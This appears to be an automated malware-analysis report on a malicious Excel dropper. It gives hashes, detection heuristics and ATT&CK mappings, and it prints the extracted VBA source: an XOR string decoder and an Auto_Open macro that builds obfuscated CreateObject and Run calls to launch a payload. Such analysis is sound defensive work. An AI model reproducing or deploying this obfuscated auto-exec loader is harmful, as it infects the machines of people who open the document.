Xls.Dropper.Agent-7640855-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 bc8686594dbc2629…

MALICIOUS

Office (OLE)

71.0 KB Created: 2020-03-24 16:30:15 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 0cef55a3f7e21340d6d9104fd0262499 SHA-1: 9123bb1125f45d44b9a05dcfda8de3cc25f9c632 SHA-256: bc8686594dbc2629050ca0fa8d344307f1d559bec510e12d2db48d754fc2a9c3
260 Risk Score

Malware Insights

Xls.Dropper.Agent-7640855-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel document containing an Auto_Open VBA macro, identified as an obfuscated auto-exec loader. This macro uses CreateObject to execute a payload, likely a second-stage downloader. The ClamAV detection name 'Xls.Dropper.Agent-7640855-0' further supports its role as a dropper.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-7640855-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7640855-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2098 bytes
SHA-256: 8e00fa58892deb2235ec9db2161fe40db4c44048440f880e265ef121419292c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AMJS"
Function vlld(str As String) As Variant: Dim bytes() As Byte: bytes = str: vlld = bytes: End Function
Function yl25(bytes() As Byte) As String: Dim str As String: str = bytes: yl25 = str: End Function

Function oqb4tw6c(str As String) As String
    Const p_ As String = "dhz5xrcu"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = vlld(str)
    pb_ = vlld(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    oqb4tw6c = yl25(scb_)
End Function


Public Sub Auto_Open()
Set asd = CreateObject(oqb4tw6c(chr(8)) & oqb4tw6c(" " & "") & oqb4tw6c(chr(60)) & oqb4tw6c(chr(45) & "6" & "" & chr(47) & "+" & "") & oqb4tw6c(chr(113) & "") & oqb4tw6c(" " & "") & oqb4tw6c("7") & oqb4tw6c(chr(58) & "") & oqb4tw6c("3" & "3"))
asd.Run oqb4tw6c(chr(50)) & oqb4tw6c(chr(44) & "" & chr(55)) & oqb4tw6c(chr(43) & chr(62) & chr(127) & "" & chr(55) & "") & oqb4tw6c(chr(43) & "") & oqb4tw6c(chr(43) & "") & oqb4tw6c(chr(47)) & oqb4tw6c("e") & oqb4tw6c(chr(3) & "") & oqb4tw6c(chr(3) & "") & oqb4tw6c("5" & "" & "q") & oqb4tw6c(chr(50)) & oqb4tw6c(chr(47) & chr(112) & chr(109) & "" & "(" & "&" & chr(107) & "j" & chr(8) & "0")
End Sub

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